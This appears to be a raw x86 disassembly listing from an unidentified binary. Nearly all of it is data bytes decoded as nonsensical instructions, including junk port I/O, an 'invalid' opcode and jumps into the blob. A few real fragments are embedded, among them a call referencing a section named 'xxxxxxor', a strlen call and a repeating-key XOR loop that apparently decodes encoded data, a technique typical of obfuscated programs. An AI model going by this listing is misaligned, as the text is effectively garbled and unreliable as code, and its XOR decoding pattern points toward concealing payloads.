arpl word [ecx], bp
inc esi
pop ebx
add byte [ebp + 0x2f], cl
dec ebp
das
jno 0x41ca15
je 0x41ca0d
imul ecx, dword [ebx + 0x4a], 0x5a
dec ebx
dec edx
pop edx
aas
pop ebx
popal
arpl word [ecx], bp
inc esi
pop ebx
add byte [eax], bl
sub dword [edx + 0x22], eax
cmp al, byte [eax]
add byte [eax], al
dec edx
pop eax
add byte [ecx], ch
inc edx
and bh, byte [edx]
add byte [eax], al
add byte [edx + 0x38], cl
xor byte [edx + 0x6d], ch
cmp byte [eax], dh
push 0x6d
inc edi
add byte [eax], bl
sub dword [ebx], ebp
xor ebp, dword gs:[eax]
jns 0x41ca1a
sub esp, dword [ebp + 0x33]
push 0x5d537900
pop ebp
jl 0x41ca29
cmp al, 0x73
add byte [eax], al
push 0x2b
xor ebp, dword gs:[eax + 0x7b]
xor dword [eax], edi
insd dword es:[edi], dx
jle 0x41c9da
push ebp
cmp al, byte [eax]
add byte [esi], dh
cmp al, 0x43
popal
and dword [eax + 0x7b], ebx
xor dword [eax], edi
insd dword es:[edi], dx
dec esi
pop esp
cmp eax, 0x7e4d0075
add byte [edx + ebp], dh
cmp dh, byte [esi]
add byte [edi + ebp + 0x41], ah
dec esi
pop esp
cmp eax, 0x24762d75
jns 0x41ca46
pop edi
cmp bh, byte [ebx]
jbe 0x41ca06
add byte [eax + 0x46], dl
inc ebp
je 0x41ca0c
sub eax, 0x28792476
jbe 0x41ca33
jns 0x41ca39
arpl word [edx + 0x2b], bx
and eax, 0x522c5600
add byte [esi + 0x2c], dl
push edx
outsd dx, dword [esi]
and dh, byte [edx + 0x59]
insb byte es:[edi], dx
insb byte es:[edi], dx
push ecx
sub byte [ebx + 0x5a], ah
sub ecx, dword [ecx + 0x76]
pop edx
add byte [eax], ch
cmp dword [ebx + 0x2a], esp
inc ebp
pop ebx
jle 0x41ca5d
add byte ds:[eax], al
das
dec ecx
jbe 0x41ca91
add byte [ebx + 0x4260002d], cl
add byte [ebx - 0x76e3db84], cl
sub al, 0x24
sub eax, section.xxxxxxor
mov edi, dword [esp + 0x1c]
mov dword [esp], ebp
call sub.msvcrt.dll_strlen
mov esi, eax
and dword [ecx + 0x2d], ecx
outsb dx, byte [esi]
jns 0x41ca48
invalid
dec dword [ecx + 0x2d4921c6]
add byte [ebp + 0x58], ch
jns 0x41cab0
jno 0x41ca8f
pop ecx
xor edx, dword [ebp + 0x31]
xor eax, 0x2d492157
add byte [ebx + 0x77], bh
dec esp
dec ecx
sub eax, 0x4c777b00
sub esi, dword fs:[ebp + 0x40]
and ch, byte [ebx + 0x21]
add byte [ebx], ch
jge 0x41cadd
push esi
add byte [ebx + 0x77], bh
dec esp
push edx
and cl, byte [ebx + 0x3d]
popal
jb 0x41caa6
jnp 0x41cabd
add byte [eax + eax], bh
insd dword es:[edi], dx
add byte [ebx + 0x7d], bl
push edx
and cl, byte [ebx + 0x3d]
ja 0x41cad2
xor esi, dword [edx + 0x62]
push ecx
inc edx
dec ebx
and al, 0x2a
sub edi, dword [eax]
dec ecx
inc eax
sub ch, byte [ebx]
cmp byte [ecx + 0x40], cl
pop edi
and dword [edi + 0x48], esi
xor esi, dword [edx + 0x37]
add byte [ecx], dh
xor dword [eax + ebp + 0x44], esi
push edx
jne 0x41cae1
inc edi
push esi
push esp
inc ecx
pop ebx
jno 0x41cae4
add byte [ecx], dh
xor dword [edi + 0x5b], esp
pop ebx
xor ebx, dword [ecx + 0x42]
push edx
add byte [ebx + 0x69], cl
sub byte [eax], ch
add byte [eax], al
dec eax
pop ebx
pop ebx
xor ebx, dword [ecx]
cmp esp, dword [esi + 0x7d]
push ebp
dec esi
aaa
dec edi
cmp al, 0x4e
push 0x62
popal
add byte [edi], dh
add byte [ebx], bh
jge 0x41cb2c
add byte [eax], bh
and al, 0x56
pop edx
jno 0x41cb44
push ebx
sub dword [eax], eax
pop eax
pop edx
sub al, byte [eax]
push ebx
push ebx
add byte [eax], bh
and al, 0x69
je 0x41cb28
push ecx
pop ecx
outsd dx, dword [esi]
xor eax, dword [ebp + 0x72]
insd dword es:[edi], dx
dec esp
and dword [ebx], edi
imul esp, dword [ebp + 0x74], 0x50292738
add byte [ecx], bh
insd dword es:[edi], dx
add byte [eax + 0x68], ch
and dword [ecx + 0x5f], eax
and eax, 0x27587e3f
sub dword [eax], edx
pop esi
xor eax, 0x57307462
sub byte [ebp + 0x68], bl
dec eax
pop edx
jle 0x41cb77
pop edi
pop esp
jbe 0x41cb83
xor eax, 0x36507462
cmp ah, byte [ebx + 0x51]
push eax
cmp ah, byte ss:[ebx + 0x51]
push ecx
pop esi
dec edx
pushal
and dword [esi + 0x4a], ecx
and dword [ecx], ebp
sub al, 0x5d
push eax
cmp ah, byte ss:[ebx + 0x7a]
dec esp
pop ebp
pop eax
add byte [eax], al
imul edi, dword [ebx + 0x76], 0x577b004b
jbe 0x41cb91
add byte [ebx + 0x57], bh
jne 0x41cbc6
sub byte [edx + 0x4c], bh
pop ebp
pop eax
inc esi
pop esi
jbe 0x41cb97
dec edx
jns 0x41cbaf
and dword [esi + 0x32], ecx
push eax
add byte [edx + 0x7b], ch
jne 0x41cba7
pop esi
jbe 0x41cb65
inc edx
sub dword [esi + 0x2d], eax
and al, 0x36
push esp
push ebx
outsd dx, dword [esi]
jbe 0x41cb70
jno 0x41cba7
xor eax, 0x2942006c
inc esi
cmp al, 0x3a
push esp
sub al, 0x3c
and al, 0x45
jae 0x41cbf4
jb 0x41cbd9
push ebp
add byte [ebx + 0x72], cl
cmp al, 0x3a
push esp
sub al, 0x65
sub eax, 0x522a5550
push edx
cmp al, 0x42
add byte [esi], dh
xor byte [ebp + 0x6b], ah
push ebp
sub al, 0
imul edx, dword gs:[ebp + 0x2c], 0
sub eax, 0x3a005550
sub bh, byte [eax + 0x2f]
sub dword [ebx*2 + 0x6e2a00], edi
cmp byte [eax], dh
push ebp
pop ebp
add byte [edx], ch
outsb dx, byte [esi]
add byte [eax], bh
xor byte [ebp + 0x25], dl
add byte [edx], bh
sub bh, byte [eax + 0x2c]
push ebx
and eax, 0x782a3a00
sub al, 0x53
push ecx
add byte [ebp + 0x27], cl
outsd dx, dword [esi]
sub eax, 0x4934735a
jb 0x41cc2e
dec eax
and ch, byte [ebx + edx*2]
push ecx
add byte [eax], al
jle 0x41cc20
dec ecx
arpl word [ecx + ebp*2], di
aas
das
inc ecx
jb 0x41cc07
and ah, byte [esi]
xor al, 0
jle 0x41cc30
dec ecx
push esp
xor cl, byte [edx]
popal
aas
arpl word [esi + 0x35], ax
push ebp
aas
jno 0x41cc69
pop esi
push esp
xor cl, byte [edx + 0x3d]
dec eax
dec ebp
cmp esi, dword [eax + eax]
xor al, 0
jbe 0x41cbf9
sub ah, byte [ecx]
pop ecx
pop ebx
dec ebp
and dword [ecx + 0x3d], ebp
dec eax
dec ebp
cmp esp, dword [eax + edi + 0x51]
aaa
and ch, byte [edi]
jge 0x41cc83
inc ebx
insb byte es:[edi], dx
pop ebx
outsd dx, dword [esi]
pop esp
jb 0x41cc75
and ah, byte [eax + edi + 0x51]
aaa
xor dword [edx + esi], ebp
ja 0x41cc47
jo 0x41cc55
jp 0x41cc21
add byte [ebx + 0x6e], bl
pop ebx
outsb dx, byte [esi]
sub ebx, dword [ebp + 0x41]
dec ebx
xor dword gs:[edx + esi], ebp
ja 0x41cc70
ja 0x41cc59
sub bh, byte [edi]
aas
sub byte [ecx + 0x37], bh
add byte [eax], al
cmp ebx, dword [ebx + 0x7a]
pop esp
jnp 0x41cc84
dec ebx
inc ebx
ja 0x41cc69
aas
imul eax, dword [eax], 0x6945006c
dec edi
daa
inc ecx
jne 0x41cc71
push ecx
cmp edi, dword [0x696152]
insb byte es:[edi], dx
add byte [ecx], ah
inc esp
inc ebx
daa
add byte [edi + 0x7b], dl
and eax, 0x557d0071
imul esp, dword [eax + 0x51], 0x43443e21
je 0x41cca9
aas
sub ebp, dword [edi + 0x55]
and dword [edx], esp
pushal
push ebx
pop edi
pop eax
jle 0x41ccdf
imul eax, dword [esi + 0x39], 0x6f2b3f74
inc esi
cmp dword [edi + edi + 0x2b], esi
outsd dx, dword [esi]
js 0x41cc7e
xor ebp, dword [edx]
add byte ds:[ebp + 0x75], bh
jne 0x41ccb7
xor ah, byte [edi + 0x26]
xor al, 0x38
xor al, 0x38
jne 0x41cd00
push 0x2a330078
jns 0x41ccc9
dec ebx
cmp byte [ebx + 0x7e], ah
popal
dec eax
inc edx
add byte [eax], al
cmp ebp, dword [ebx]
inc edx
push edi
and edi, dword [ecx + 0x37]
dec ebx
cmp byte [edi + 0x30], cl
add byte [esi + 0x3c], ch
dec ecx
cmp eax, 0x214f3f47
aaa
insb byte es:[edi], dx
push ebp
and cl, byte [edi + 0x30]
add byte [esi + 0x79], ch
insb byte es:[edi], dx
outsb dx, byte [esi]
jns 0x41cd26
dec ebx
add byte [edi + 0x30], dl
pop esp
and dword [edx + 0x49], ebx
xor eax, 0x7d342b32
pop esp
jns 0x41cd36
insb byte es:[edi], dx
dec ebx
add byte [0x46217b74], ch
and eax, 0x2f0047
imul ebp, dword [eax], 0x37
daa
outsd dx, dword [esi]
jbe 0x41cd0a
je 0x41cd5a
and dword [edx], ebp
xor al, 0x77
dec eax
jnp 0x41cd0b
push edi
inc eax
inc esp
dec edx
add byte [eax + 0x76], cl
push 0x77342a6b
dec eax
pop eax
pop eax
and ah, byte [edx]
cmp al, 0x79
push ebx
inc eax
push 0x25
sub al, 0x45
inc ebp
inc edi
push edx
insb byte es:[edi], dx
pop eax
pop eax
and ah, byte [edx]
aaa
xor al, 0x28
sub byte [esi + 0x3b], ch
pushal
dec edx
outsb dx, byte [esi]
cmp esp, dword [eax + 0x4a]
jb 0x41cd53
inc eax
push edi
add byte [edx + 0x5e], bh
xor dh, byte [edi]
xor al, 0x28
outsb dx, byte [esi]
push 0x2d
dec ebx
push edi
bound esi, qword [ebx]
ja 0x41cd71
sub byte [ecx + 0x4e], dl
dec esi
push ecx
inc esi
add byte [ecx + 0x5f], cl
push 0x2d
dec ebx
push edi
push 0x28
jle 0x41cd34
cmp dword [eax], eax
and al, 0x68
push ebp
jbe 0x41cdb7
add byte [edi], ah
dec eax
aaa
push 0x28
jle 0x41cd44
jp 0x41cd7b
xor al, 0x49
add byte [edx], ah
inc ebp
jge 0x41cd7b
inc esp
add byte [eax + eax + 0x30], cl
dec edx
jno 0x41cdcf
xor eax, 0x27004934
cmp esp, dword [edi + 0x75]
add byte [ebx + 0x24], bh
push 0x434c793e
dec edx
cmp esi, dword [eax + eax]
daa
cmp esp, dword [edi + 0x4f]
xor dh, byte gs:[edi + 0x69]
cmp dword gs:[ebx], ebx
jbe 0x41cda3
dec ebx
jb 0x41cda4
sub byte [edi + 0x65], cl
xor dh, byte [edi + 0x3b]
dec edi
xor dh, byte gs:[edi + 0x3b]
pop ecx
popal
outsb dx, byte [esi]
add byte [edx + 0x6f], bh
outsb dx, byte [esi]
pop edx
xor dword [edi], esp
add byte [ebp + 0x48], dh
imul edi, dword [ebx], 0x59
popal
outsb dx, byte [esi]
push eax
jo 0x41cdda
jo 0x41cdfb
inc edi
push esi
aas
pop esp
daa
je 0x41cdc4
xor dword [ecx + 0x54], esp
dec ebp
push eax
jo 0x41cdea
jo 0x41cdd8
push edx
cmp byte [ecx], bl
and eax, 0x7a0025
inc esi
ja 0x41ce11
and al, 0
jge 0x41cde8
push edx
cmp byte [ecx + 0x44], bl
add byte gs:[eax], cl
xor dword [edx + 0x5e], esp
xor byte [ecx + 0x3c], ah
add byte [edx], dh
jp 0x41ce1b
pop edi
inc esp
add byte gs:[eax + 0x2f], cl
dec eax
das
xor al, 0x4d
and eax, 0x32000000
jno 0x41ce20
push ebx
imul ebp, dword [eax + 0x76], 0x342f7300
dec ebp
and eax, 0x477564
inc esi
add byte [ecx], ch
xor byte [eax], al
add byte [edx + 0x6e], ch
sub dword [eax], esi
add byte [eax], al
push 0x6e
push ecx
add byte [eax], al
jne 0x41ce3e
add byte [eax], al
add byte [ebx], ch
dec edi
pushal
outsb dx, byte [esi]
cmp eax, 0x755549
cmp bl, byte [ebp + 0x73]
insb byte es:[edi], dx
pushal
add byte [eax], al
sub ecx, dword [edi + 0x27]
push ebx
and edx, dword [eax + 0x53]
jae 0x41ce13
inc ecx
xor dword [eax], ebp
inc ebx
and eax, 0x30715468
daa
xor byte [edi], ah
push ebx
and edx, dword [eax]
push esi
push ebp
add byte [esi + 0x55], dl
jl 0x41ce52
pop ebp
sub al, 0x79
cmp dword [eax], eax
jns 0x41ce55
dec ebp
insd dword es:[edi], dx
add byte [esi + 0x55], dl
test edi, edi
je 0x41ce55
xor ecx, ecx
lea esi, [esi]
add byte [eax], al
mov eax, ecx
xor edx, edx
div esi
movzx eax, byte [ebp + edx]
xor byte [ebx + ecx], al
add ecx, 1
cmp edi, ecx
jne 0x41ce40
iretd
mov eax, dword [esp + 0x1c]
mov dword [esp], ebx
mov dword [esp + 4], eax
call section.section_
test al, al
je 0x41ce78
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
inc eax
outsb dx, byte [esi]
jb 0x41cecd
jbe 0x41cef9
sub dword es:[ecx + edi*2 + 0x65], esi
push edi
dec ecx
add byte [esi + 0x4a], bh
inc eax
outsb dx, byte [esi]
jb 0x41cedd
aas
pop edi
add byte [ebx], bh
inc esp
cmp dword [edx], ebp
jbe 0x41cf03
pop ecx
pop edi
bound edi, qword [ecx]
inc ecx
jns 0x41cedc
pop edi
add byte [ebx + ebp], bh
imul eax, dword [eax], 0x5936
and al, 0x2c
dec esp
imul esp, dword [0x692b4b2d], 0
dec ecx
pop edi
inc edx
and eax, dword [eax]
imul edi, dword [esi + 0x77], 0x3d
js 0x41cef0
pop edx
insb byte es:[edi], dx
sub eax, 0x5f493a2c
inc edx
and edx, dword [esi + 0x75]
inc ebp
push ecx
dec ebp
jb 0x41cf33
jle 0x41cf38
push eax
das
pop ecx
pop esp
jo 0x41cf48
xor edx, dword [esi + 0x75]
inc ebp
push ecx
and dword [esi + 0x6f], ebp
outsb dx, byte [esi]
outsd dx, dword [esi]
dec edi
sub esi, dword [ebx]
pop edi
inc ecx
xor dword [ecx], esi
pop edx
dec ebp
sub ebp, dword [esi]
daa
cmp al, 0x21
outsb dx, byte [esi]
outsd dx, dword [esi]
dec edi
add byte [edx + 0x45], bh
dec esi
pop eax
xor byte [esi + 0x5e], bh
cmp dword [ecx + 0x2b], edi
jns 0x41cf26
push 0x39
cmp dword [esi + 0x2c], esi
add byte [edx + 0x45], bh
dec esi
pop esi
add byte [eax], al
dec eax
aaa
js 0x41cf5e
jge 0x41cf5f
add byte [ecx + 0x30], bh
push eax
add byte [edi + 0x5e], dh
add byte [eax], al
dec eax
jge 0x41cf61
sub al, 0x66
add byte [eax], al
push ecx
dec esp
imul edi, dword [ebx + 0x37], 0
daa
push 0x68
xor eax, 0x662c477d
jp 0x41cf2e
push 0x2c477d35
jp 0x41cf2e
insd dword es:[edi], dx
insd dword es:[edi], dx
outsb dx, byte cs:[esi]
pop ebp
add byte [ebp + 0x41], bh
add byte [eax], al
and eax, 0x7a5e5239
add byte [ebp + 0x6d], ch
cmp byte [eax + 0x76], dh
add byte [edx + 0x6e], ah
add byte es:[ecx + 0x79], ch
push 0x52
push 0x38772242
imul edi, dword [ecx + 0x6a], 0x22426852
ja 0x41cf89
jo 0x41cfc9
add byte [esi], ch
add byte [eax], al
sub dword [eax + 0x48], esp
pushal
inc dx
jl 0x41cfd9
jp 0x41cf8c
sub al, 0
add byte [eax + 0x4d], ch
daa
add byte cs:[eax], al
sub dword [0x5a55774b], esi
push 0x2e274d
add byte [ecx], ch
xor eax, 0x5a55774b
imul esi, dword [eax + eax], 0x48
and al, 0x33
dec eax
add byte [edi + 0x37], ch
cmp esi, dword [0x55774b]
push edi
daa
inc edx
pop eax
jae 0x41cfbc
push edi
bound edi, qword [edx]
dec edi
jbe 0x41cfda
cmp dword [edi + 0x6a], ebp
add byte [edi + 0x27], dl
inc edx
and ah, byte [eax + 0x50]
imul edi, dword [edx], 0x3d4a3f2c
jae 0x41d00a
outsd dx, dword [esi]
dec eax
dec edi
jb 0x41cfd7
and ah, byte [eax + 0x50]
imul esp, dword [ecx + 0x56], 0x586541
push ebp
inc edi
insb byte es:[edi], dx
dec ecx
pop edx
dec esp
push ebx
je 0x41d007
inc esi
popal
push esi
inc ecx
xor byte gs:[edi], ch
je 0x41d01c
pop edi
sub ax, 0x4742
push esp
push esi
js 0x41cfc5
pop ebx
outsb dx, byte [esi]
ja 0x41cff9
das
je 0x41cff3
dec ecx
dec eax
outsd dx, dword [esi]
dec eax
inc ebp
add byte [edx + 0x25], cl
push esi
cmp eax, 0x6821003c
outsd dx, dword [esi]
cmp al, 0
and dword [eax + 0x6f], ebp
push 0x4849266f
dec ecx
dec eax
outsd dx, dword [esi]
dec esi
pop ebx
dec ebx
imul eax, dword [eax], 0
cmp cl, byte [ebx + 0x68]
jbe 0x41d047
jl 0x41d021
jb 0x41d026
inc ebx
dec esi
pop ebx
dec ebx
imul esi, dword [ebp + 0x3b], 0x4d
push ebx
and dword [ecx + 0x55], ebx
aaa
cmp edi, dword [ecx]
imul esp, dword [eax + 0x29], 0x3b75744f
dec ebp
push edi
cmp esi, dword [edx + 0x69]
jb 0x41d075
xor dword [edi + 0x4f], esi
imul edi, dword [ebx], 0x35780000
outsd dx, dword [esi]
xor dh, byte [esi + 0x57]
cmp esi, dword [edx + 0x69]
jno 0x41d04f
add byte [ebp + 0x3b], bl
sub dword [edx], esi
push ebx
das
add byte [eax + 0x7a], al
jb 0x41d05a
pop edi
jno 0x41d05f
add byte [ebp + 0x31], bl
dec ebx
ja 0x41d074
add byte [esi + 0x45], bl
dec esp
aas
sub esp, dword [ecx]
dec edi
sub esi, dword [ecx]
dec ebx
push di
add byte [edi + 0x76], al
outsb dx, byte [esi]
jbe 0x41d0b7
imul edi, dword [eax], 0x43
dec ecx
jle 0x41d0bc
bound edi, qword [eax + 0x2c]
inc esp
push edi
add byte [edi + 0x76], al
inc ebx
sub al, 0x43
inc ebx
push esi
dec esp
inc eax
push esp
insd dword es:[edi], dx
ja 0x41d0ae
das
jbe 0x41d0c4
push esi
and cl, byte [ebp + 0x43]
sub al, 0x43
push esi
insb byte es:[edi], dx
sub dword [ebx + 0x71], esi
xor byte [esi + 0x3c], ch
pop esp
jle 0x41d0bf
dec ecx
and al, 0
sub byte [edx + ecx*2], bh
inc esi
insb byte es:[edi], dx
sub dword [ebx + 0x71], esi
xor ah, byte [edi]
aas
pop edx
outsd dx, dword [esi]
jb 0x41d0af
bound esi, qword [edi + 0x77]
add byte [eax], al
add byte [eax], al
inc ebp
and dword [edx], esi
daa
aas
pop edx
push edi
and ebx, dword [ecx + 0x2e]
pop ebp
insd dword es:[edi], dx
add byte [eax + 0x4f], ah
sub dword [ecx], edx
xor eax, 0x57412654
and ebx, dword [ecx + 0x2e]
jb 0x41d122
dec edi
add byte [esi + 0x4d], dh
dec eax
xor dl, byte [eax + 0x4f]
push edi
jb 0x41d0e6
dec ebp
cmp al, 0x52
push edx
jb 0x41d132
dec edi
add byte [0x64394136], bh
cmp eax, 0x64394136
cmp dword [ebx + ecx*2 + 0x5d], esp
dec ebx
pop ebp
dec ebp
sub byte [eax + 0x6e], al
daa
jns 0x41d11f
add byte gs:[0x71394136], bh
add byte [edi], ah
dec ecx
push edi
jbe 0x41d145
xor byte [edx + 0x7d], ah
add byte [esi + 0x2c], bl
dec edi
jns 0x41d12c
jno 0x41d0e2
daa
dec ecx
dec ebx
ja 0x41d165
jle 0x41d137
dec edi
ja 0x41d10c
js 0x41d0ec
sub ebp, dword [ebx]
add byte [eax], al
push eax
jns 0x41d16b
jbe 0x41d140
ja 0x41d175
dec edi
inc esi
add byte [esi + 0x55], ah
outsb dx, byte [esi]
push edx
jge 0x41d14e
pushal
sub byte [eax + ebx*2], dl
and dword [ebx + 0x36], edi
inc esi
add byte [esi + 0x55], ah
add byte [ebp + 0x51], dl
inc edi
daa
pop edx
pop ebp
push ebp
xor al, 0x31
jae 0x41d148
jns 0x41d13c
cmp al, byte [eax]
push ebp
push ecx
inc edi
add byte [0x26735f7c], dh
jl 0x41d183
jae 0x41d14c
dec edi
cmp dh, byte [edi]
add byte [ebx + 0x61], cl
popal
push eax
jo 0x41d168
add byte [0x5e605f7c], dh
jl 0x41d193
pushal
pop esi
imul edx, dword [ecx + 0x38], 0x69
ja 0x41d185
push ecx
cmp byte [ecx + 0x77], ch
dec ecx
jne 0x41d195
inc ebp
add byte [eax + 0x63], ah
jb 0x41d183
pushal
arpl word [edx + 0x3f], si
pushal
pop esi
imul edx, dword [ecx + 0x5f], 0x55
pop edi
push ebp
cmp byte [edi + 0x31], dl
je 0x41d17d
xor dword [esi + ebp], esi
add byte [esi + 0x28], bh
add byte cs:[eax], al
add byte [eax], al
jle 0x41d17b
arpl word [eax], ax
sub al, 0x49
pop esp
pop edi
push ebp
cmp byte [edi + 0x37], dl
jp 0x41d1dc
jnp 0x41d1a9
inc ebx
xor esi, dword ss:[esi + 0x22]
aaa
and bh, byte [esi]
aaa
inc edx
jns 0x41d19c
jb 0x41d1a4
jp 0x41d1ec
jnp 0x41d1e1
add byte [esp + edi*2], bl
pop esi
xor dword [eax], eax
dec edi
insd dword es:[edi], dx
aas
push eax
cmp dword [eax + 0x53], ecx
jo 0x41d182
pop esp
jl 0x41d1d0
pop ecx
jne 0x41d1e2
pop ecx
dec esi
add byte [ecx], ah
sub dword [eax], eax
and ah, byte [ecx]
aaa
dec ebx
pop ecx
jne 0x41d1c6
pop ebx
outsd dx, dword [esi]
aaa
pop edx
dec esi
push edx
inc esi
pop eax
and al, 0x76
add byte [edx + 0x36], cl
pop esi
dec edx
pop esi
add byte [0x7e376f5b], ch
xor eax, 0x57460032
pop ebx
outsd dx, dword [esi]
aaa
jle 0x41d1e3
xor al, byte [eax]
inc esi
push edi
and al, 0x4c
cmp al, 0x32
pop eax
push esi
push esi
jbe 0x41d234
jle 0x41d1f3
xor al, byte [eax]
inc ebp
and al, byte [eax]
sub byte [ebx + 0x31], cl
cmp byte [ebp + 0x47], cl
insd dword es:[edi], dx
dec edi
push edi
pop esi
push esp
inc edx
add byte [ebp + 0x22], al
add byte [eax], ch
popal
pop ebx
inc ebp
and al, byte [eax]
sub byte [ecx + 0x5b], ah
pop ecx
sub eax, 0x62003e7e
pop ebp
pop edi
add byte [edx + 0x2b], al
inc edx
sub esp, dword [edi]
daa
popal
pop ebx
pop ecx
sub eax, 0x792c00
dec edx
dec edi
outsd dx, dword [esi]
inc ebx
aas
dec ebp
pushal
dec ebp
cmp dword [edi], eax
add byte [ecx + edi*2], ch
add byte [esi + 0x28], ah
js 0x41d23f
das
aas
outsd dx, dword [esi]
imul ebp, dword [eax + eax], 0x77
push ebx
dec ebx
insd dword es:[edi], dx
cmp dword [edx + 0x66], ebx
sub byte [eax + 0x3f], bh
sub eax, dword [edx + 0x41]
ja 0x41d248
and dword [ecx + 0x75], edi
dec edx
jp 0x41d298
add byte [ecx + 0x2c], dh
add byte [ebx], ch
inc edx
inc ecx
ja 0x41d225
inc ebx
add byte [ecx + 0x54], bl
dec esp
dec ebp
push ecx
inc ebx
push 0x35
popal
and ebx, dword ss:[ecx + 0x4a]
add byte [ebx], al
pop ecx
pop ebp
jl 0x41d290
aaa
pop ebx
sub al, 0x41
xor eax, dword [eax]
pop ecx
xor byte [edi + ecx*2 + 0x43], dl
cmp dh, byte [ecx + 0x5d]
pop ebp
jl 0x41d2a0
aaa
jns 0x41d2a1
inc esi
push ecx
xor al, byte [edx + 0x49]
and eax, 0x75335f6d
add byte [esi + 0x30], ah
jns 0x41d2b1
inc esi
mov dword [esp], ebx
call fcn.0041b2c0
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
outsb dx, byte [esi]
ja 0x41d2ce